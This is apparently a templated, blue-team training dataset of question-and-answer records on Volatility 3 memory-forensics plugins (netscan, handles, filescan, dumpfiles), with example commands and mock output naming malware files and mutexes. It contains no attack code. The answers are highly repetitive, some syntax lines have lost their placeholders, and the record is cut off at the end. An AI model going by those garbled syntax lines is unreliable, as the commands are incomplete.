"provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028109Z", "updated_at": "2025-12-18T00:11:32.028109Z"} +{"id": "trtp-20e73ade5a38", "instruction": "How can I get the most out of Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Check unusual ports\n- Look for connections to suspicious IPs\n- Correlate with process activity\n\nUseful for: Find C2 connections, Identify lateral movement, Discover listening services", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028132Z", "updated_at": "2025-12-18T00:11:32.028132Z"} +{"id": "trtp-bc7327ed01f1", "instruction": "How can Volatility 3 help identify malicious activity?", "output": "Using Volatility 3 for threat detection:\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.\n\nExample:\n```\nvol -f memory.dmp windows.netscan\n\nOffset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner\n0xe1234567890 TCPv4 192.168.1.10 49152 185.199.108.1 443 ESTABLISHED 1234 malware.exe\n```\n\nTips:\n- Check unusual ports\n- Look for connections to suspicious IPs", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028145Z", "updated_at": "2025-12-18T00:11:32.028145Z"} +{"id": "trtp-4c3f0973ead9", "instruction": "What evidence can Volatility 3 help uncover?", "output": "Forensic analysis with Volatility 3:\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.\n\nForensic applications:\n- Find C2 connections\n- Identify lateral movement\n- Discover listening services\n\nWhat to look for: ESTABLISHED connections show active communication. Check ForeignAddr against threat intel.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028164Z", "updated_at": "2025-12-18T00:11:32.028164Z"} +{"id": "trtp-15b230c11bb0", "instruction": "How do I incorporate Volatility 3 into my security workflow?", "output": "Workflow for windows.netscan - Network Connections:\n\n1. Understand the context: windows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.netscan\n\nOffset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner\n0xe1234567890 TCPv4 192.168.1.10 49152 185.199.108.1 443 ESTABLISHED 1234 malware.exe\n```\n\n3. Common scenarios: Find C2 connections, Identify lateral movement, Discover listening services\n\n4. Best practices:\n - Check unusual ports\n - Look for connections to suspicious IPs", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028178Z", "updated_at": "2025-12-18T00:11:32.028178Z"} +{"id": "trtp-aa4bdd349d96", "instruction": "What makes Volatility 3 useful for this task?", "output": "Advantages of Volatility 3:\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.\n\nBest suited for:\n- Find C2 connections\n- Identify lateral movement\n- Discover listening services\n- Map network activity\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028204Z", "updated_at": "2025-12-18T00:11:32.028204Z"} +{"id": "trtp-250ac85e9cfe", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028239Z", "updated_at": "2025-12-18T00:11:32.028239Z"} +{"id": "trtp-7c4915e5b46e", "instruction": "What do I need to know about Volatility 3?", "output": "windows.handles - Open Handles\n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.\n\nPlatform: windows\n\nCommon uses:\n- Find malware mutexes\n- Identify file access\n- Track registry usage\n- Analyze process activity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028528Z", "updated_at": "2025-12-18T00:11:32.028528Z"} +{"id": "trtp-fa7e60442725", "instruction": "Show me the basic syntax for Volatility 3.", "output": "Syntax for Volatility 3:\n\nvol -f windows.handles --pid \n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028542Z", "updated_at": "2025-12-18T00:11:32.028542Z"} +{"id": "trtp-657ba39650c6", "instruction": "Provide an example of using Volatility 3.", "output": "Example of windows.handles - Open Handles:\n\n```\nvol -f memory.dmp windows.handles --pid 1234\n\nOffset PID Handle Type GrantedAccess Name\n0xe123456 1234 0x4 Key 0x20019 \\REGISTRY\\MACHINE\\SOFTWARE\\Malware\n0xe234567 1234 0x8 Mutant 0x1f0001 \\BaseNamedObjects\\EvilMutex\n```\n\nInterpretation: Mutant type = mutex (used for single-instance checks). Look for unique mutex names.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028564Z", "updated_at": "2025-12-18T00:11:32.028564Z"} +{"id": "trtp-82d0dec42f0d", "instruction": "Provide an example of using Volatility 3.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.handles --pid 1234\n\nOffset PID Handle Type GrantedAccess Name\n0xe123456 1234 0x4 Key 0x20019 \\REGISTRY\\MACHINE\\SOFTWARE\\Malware\n0xe234567 1234 0x8 Mutant 0x1f0001 \\BaseNamedObjects\\EvilMutex\n```\n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028574Z", "updated_at": "2025-12-18T00:11:32.028574Z"} +{"id": "trtp-e9886b919406", "instruction": "When should I use Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Find malware mutexes\n- Identify file access\n- Track registry usage\n- Analyze process activity\n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028589Z", "updated_at": "2025-12-18T00:11:32.028589Z"} +{"id": "trtp-03315e2c0c83", "instruction": "How do I read Volatility 3 output?", "output": "Interpreting Volatility 3 output:\n\nMutant type = mutex (used for single-instance checks). Look for unique mutex names.\n\nExample output:\n```\nvol -f memory.dmp windows.handles --pid 1234\n\nOffset PID Handle Type GrantedAccess Name\n0xe123456 1234 0x4 Key 0x20019 \\REGISTRY\\MACHINE\\SOFTWARE\\Malware\n0xe234567 1234 0x8 Mutant 0x1f0001 \\BaseNamedObjects\\EvilMutex\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028600Z", "updated_at": "2025-12-18T00:11:32.028600Z"} +{"id": "trtp-28f0b1a4b550", "instruction": "How can I get the most out of Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Malware often creates unique mutexes\n- Registry handles show config locations\n- File handles show accessed data\n\nUseful for: Find malware mutexes, Identify file access, Track registry usage", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028612Z", "updated_at": "2025-12-18T00:11:32.028612Z"} +{"id": "trtp-a31a72eb9dd6", "instruction": "How can Volatility 3 help identify malicious activity?", "output": "Using Volatility 3 for threat detection:\n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.\n\nExample:\n```\nvol -f memory.dmp windows.handles --pid 1234\n\nOffset PID Handle Type GrantedAccess Name\n0xe123456 1234 0x4 Key 0x20019 \\REGISTRY\\MACHINE\\SOFTWARE\\Malware\n0xe234567 1234 0x8 Mutant 0x1f0001 \\BaseNamedObjects\\EvilMutex\n```\n\nTips:\n- Malware often creates unique mutexes\n- Registry handles show config locations", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028638Z", "updated_at": "2025-12-18T00:11:32.028638Z"} +{"id": "trtp-df53aeda36fd", "instruction": "How do I use Volatility 3 for forensic analysis?", "output": "Forensic analysis with Volatility 3:\n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.\n\nForensic applications:\n- Find malware mutexes\n- Identify file access\n- Track registry usage\n\nWhat to look for: Mutant type = mutex (used for single-instance checks). Look for unique mutex names.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028650Z", "updated_at": "2025-12-18T00:11:32.028650Z"} +{"id": "trtp-46558d335bf9", "instruction": "What's the process for analyzing data with Volatility 3?", "output": "Workflow for windows.handles - Open Handles:\n\n1. Understand the context: windows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.handles --pid 1234\n\nOffset PID Handle Type GrantedAccess Name\n0xe123456 1234 0x4 Key 0x20019 \\REGISTRY\\MACHINE\\SOFTWARE\\Malware\n0xe234567 1234 0x8 Mutant 0x1f0001 \\BaseNamedObjects\\EvilMutex\n```\n\n3. Common scenarios: Find malware mutexes, Identify file access, Track registry usage\n\n4. Best practices:\n - Malware often creates unique mutexes\n - Registry handles show config locations", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028676Z", "updated_at": "2025-12-18T00:11:32.028676Z"} +{"id": "trtp-0161eeb0f41f", "instruction": "When should I use Volatility 3 versus other similar tools?", "output": "Advantages of Volatility 3:\n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.\n\nBest suited for:\n- Find malware mutexes\n- Identify file access\n- Track registry usage\n- Analyze process activity\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028711Z", "updated_at": "2025-12-18T00:11:32.028711Z"} +{"id": "trtp-9374b4674bfa", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.handles lists open handles for processes including files, registry keys, mutexes, and other kernel objects.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshandles---open-handles", "license": "original", "retrieved_at": "2025-12-18T00:11:32.028503Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028740Z", "updated_at": "2025-12-18T00:11:32.028740Z"} +{"id": "trtp-6be8fd0726a5", "instruction": "What is Volatility 3 and how is it used in security?", "output": "windows.filescan - File Objects\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.\n\nPlatform: windows\n\nCommon uses:\n- Find malware files\n- Discover dropped files\n- Identify accessed documents\n- Track file activity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029105Z", "updated_at": "2025-12-18T00:11:32.029105Z"} +{"id": "trtp-1d686cae50f3", "instruction": "What command or query syntax does Volatility 3 use?", "output": "Syntax for Volatility 3:\n\nvol -f windows.filescan\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029118Z", "updated_at": "2025-12-18T00:11:32.029118Z"} +{"id": "trtp-030486c8a697", "instruction": "Give me a practical example of Volatility 3.", "output": "Example of windows.filescan - File Objects:\n\n```\nvol -f memory.dmp windows.filescan | grep -i malware\n\nOffset Name\n0xe123456789 \\Device\\HarddiskVolume2\\Users\\Public\\malware.exe\n0xe234567890 \\Device\\HarddiskVolume2\\Windows\\Temp\\payload.dll\n```\n\nInterpretation: Shows all file references in memory - filter for suspicious paths", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029134Z", "updated_at": "2025-12-18T00:11:32.029134Z"} +{"id": "trtp-76f2e5c65c87", "instruction": "Show me an example of Volatility 3 in action.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.filescan | grep -i malware\n\nOffset Name\n0xe123456789 \\Device\\HarddiskVolume2\\Users\\Public\\malware.exe\n0xe234567890 \\Device\\HarddiskVolume2\\Windows\\Temp\\payload.dll\n```\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029145Z", "updated_at": "2025-12-18T00:11:32.029145Z"} +{"id": "trtp-5ae46a46aeac", "instruction": "What security tasks can I accomplish with Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Find malware files\n- Discover dropped files\n- Identify accessed documents\n- Track file activity\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029160Z", "updated_at": "2025-12-18T00:11:32.029160Z"} +{"id": "trtp-afad51137c3e", "instruction": "What do the results from Volatility 3 mean?", "output": "Interpreting Volatility 3 output:\n\nShows all file references in memory - filter for suspicious paths\n\nExample output:\n```\nvol -f memory.dmp windows.filescan | grep -i malware\n\nOffset Name\n0xe123456789 \\Device\\HarddiskVolume2\\Users\\Public\\malware.exe\n0xe234567890 \\Device\\HarddiskVolume2\\Windows\\Temp\\payload.dll\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029170Z", "updated_at": "2025-12-18T00:11:32.029170Z"} +{"id": "trtp-12f80c5f0f9c", "instruction": "How can I get the most out of Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Filter output with grep\n- Look for files in temp/user directories\n- Combine with dumpfiles to extract\n\nUseful for: Find malware files, Discover dropped files, Identify accessed documents", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029182Z", "updated_at": "2025-12-18T00:11:32.029182Z"} +{"id": "trtp-9d3c68d4eeab", "instruction": "How can Volatility 3 help identify malicious activity?", "output": "Using Volatility 3 for threat detection:\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.\n\nExample:\n```\nvol -f memory.dmp windows.filescan | grep -i malware\n\nOffset Name\n0xe123456789 \\Device\\HarddiskVolume2\\Users\\Public\\malware.exe\n0xe234567890 \\Device\\HarddiskVolume2\\Windows\\Temp\\payload.dll\n```\n\nTips:\n- Filter output with grep\n- Look for files in temp/user directories", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029205Z", "updated_at": "2025-12-18T00:11:32.029205Z"} +{"id": "trtp-c7d2db976c40", "instruction": "What artifacts does Volatility 3 analyze?", "output": "Forensic analysis with Volatility 3:\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.\n\nForensic applications:\n- Find malware files\n- Discover dropped files\n- Identify accessed documents\n\nWhat to look for: Shows all file references in memory - filter for suspicious paths", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029217Z", "updated_at": "2025-12-18T00:11:32.029217Z"} +{"id": "trtp-9aa2507a4652", "instruction": "What's the process for analyzing data with Volatility 3?", "output": "Workflow for windows.filescan - File Objects:\n\n1. Understand the context: windows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.filescan | grep -i malware\n\nOffset Name\n0xe123456789 \\Device\\HarddiskVolume2\\Users\\Public\\malware.exe\n0xe234567890 \\Device\\HarddiskVolume2\\Windows\\Temp\\payload.dll\n```\n\n3. Common scenarios: Find malware files, Discover dropped files, Identify accessed documents\n\n4. Best practices:\n - Filter output with grep\n - Look for files in temp/user directories", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029253Z", "updated_at": "2025-12-18T00:11:32.029253Z"} +{"id": "trtp-0a4cb298e93b", "instruction": "What are the advantages of Volatility 3 for security analysis?", "output": "Advantages of Volatility 3:\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.\n\nBest suited for:\n- Find malware files\n- Discover dropped files\n- Identify accessed documents\n- Track file activity\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029273Z", "updated_at": "2025-12-18T00:11:32.029273Z"} +{"id": "trtp-6d9c84a525df", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.filescan scans memory for FILE_OBJECT structures to find references to files. Can discover files accessed by malware even if handles are closed.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsfilescan---file-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029050Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029287Z", "updated_at": "2025-12-18T00:11:32.029287Z"} +{"id": "trtp-3dfddcc28c29", "instruction": "Describe windows.dumpfiles - Extract Files.", "output": "windows.dumpfiles - Extract Files\n\nwindows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.\n\nPlatform: windows\n\nCommon uses:\n- Extract malware samples\n- Recover deleted files\n- Dump configuration files\n- Extract dropped payloads", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029609Z", "updated_at": "2025-12-18T00:11:32.029609Z"} +{"id": "trtp-e5aa2b8ef161", "instruction": "Show me the basic syntax for Volatility 3.", "output": "Syntax for Volatility 3:\n\nvol -f windows.dumpfiles --physaddr \n\nwindows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029623Z", "updated_at": "2025-12-18T00:11:32.029623Z"} +{"id": "trtp-01571403c014", "instruction": "How would I use Volatility 3 for Extract malware samples?", "output": "Example of windows.dumpfiles - Extract Files:\n\n```\n# First find file with filescan\nvol -f memory.dmp windows.filescan | grep malware.exe\n\n# Then dump by physical address\nvol -f memory.dmp windows.dumpfiles --physaddr 0xe123456789 -o output_dir/\n```\n\nInterpretation: Files extracted to output directory for further analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029644Z", "updated_at": "2025-12-18T00:11:32.029644Z"} +{"id": "trtp-c4023f128b3b", "instruction": "What security tasks can I accomplish with Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Extract malware samples\n- Recover deleted files\n- Dump configuration files\n- Extract dropped payloads\n\nwindows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029656Z", "updated_at": "2025-12-18T00:11:32.029656Z"} +{"id": "trtp-36d46c0f9277", "instruction": "Explain the output of Volatility 3.", "output": "Interpreting Volatility 3 output:\n\nFiles extracted to output directory for further analysis\n\nExample output:\n```\n# First find file with filescan\nvol -f memory.dmp windows.filescan | grep malware.exe\n\n# Then dump by physical address\nvol -f memory.dmp windows.dumpfiles --physaddr 0xe123456789 -o output_dir/\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029678Z", "updated_at": "2025-12-18T00:11:32.029678Z"} +{"id": "trtp-528e713f5c8b", "instruction": "How can I get the most out of Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Get offset from filescan first\n- Not all files can be fully recovered\n- Check extracted files with static analysis tools\n\nUseful for: Extract malware samples, Recover deleted files, Dump configuration files", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", 